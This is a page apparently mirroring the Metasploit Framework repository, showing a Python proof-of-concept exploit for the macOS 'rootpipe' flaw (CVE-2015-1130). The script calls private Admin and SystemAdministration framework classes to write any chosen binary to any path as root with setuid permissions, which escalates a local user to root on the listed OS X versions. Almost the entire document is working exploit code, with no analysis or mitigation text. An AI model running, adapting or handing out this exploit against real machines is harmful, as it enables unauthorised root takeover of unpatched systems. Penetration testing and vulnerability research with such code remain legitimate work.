mirror of
https://github.com/rapid7/metasploit-framework
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74 lines
2.1 KiB
Python
74 lines
2.1 KiB
Python
########################################################
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#
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# PoC exploit code for rootpipe (CVE-2015-1130)
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#
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# Created by Emil Kvarnhammar, TrueSec
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#
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# Tested on OS X 10.7.5, 10.8.2, 10.9.5 and 10.10.2
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#
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########################################################
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import os
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import sys
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import platform
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import re
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import ctypes
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import objc
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import sys
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from Cocoa import NSData, NSMutableDictionary, NSFilePosixPermissions
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from Foundation import NSAutoreleasePool
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def load_lib(append_path):
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return ctypes.cdll.LoadLibrary("/System/Library/PrivateFrameworks/" + append_path);
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def use_old_api():
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return re.match("^(10.7|10.8)(.\d)?$", platform.mac_ver()[0])
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args = sys.argv
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if len(args) != 3:
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print("usage: exploit.py source_binary dest_binary_as_root")
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sys.exit(-1)
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source_binary = args[1]
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dest_binary = os.path.realpath(args[2])
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if not os.path.exists(source_binary):
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raise Exception("file does not exist!")
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pool = NSAutoreleasePool.alloc().init()
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attr = NSMutableDictionary.alloc().init()
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attr.setValue_forKey_(04777, NSFilePosixPermissions)
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data = NSData.alloc().initWithContentsOfFile_(source_binary)
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print("will write file", dest_binary)
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if use_old_api():
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adm_lib = load_lib("/Admin.framework/Admin")
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Authenticator = objc.lookUpClass("Authenticator")
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ToolLiaison = objc.lookUpClass("ToolLiaison")
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SFAuthorization = objc.lookUpClass("SFAuthorization")
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authent = Authenticator.sharedAuthenticator()
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authref = SFAuthorization.authorization()
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# authref with value nil is not accepted on OS X <= 10.8
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authent.authenticateUsingAuthorizationSync_(authref)
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st = ToolLiaison.sharedToolLiaison()
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tool = st.tool()
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tool.createFileWithContents_path_attributes_(data, dest_binary, attr)
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else:
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adm_lib = load_lib("/SystemAdministration.framework/SystemAdministration")
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WriteConfigClient = objc.lookUpClass("WriteConfigClient")
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client = WriteConfigClient.sharedClient()
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client.authenticateUsingAuthorizationSync_(None)
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tool = client.remoteProxy()
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tool.createFileWithContents_path_attributes_(data, dest_binary, attr, 0)
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print("Done!")
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del pool
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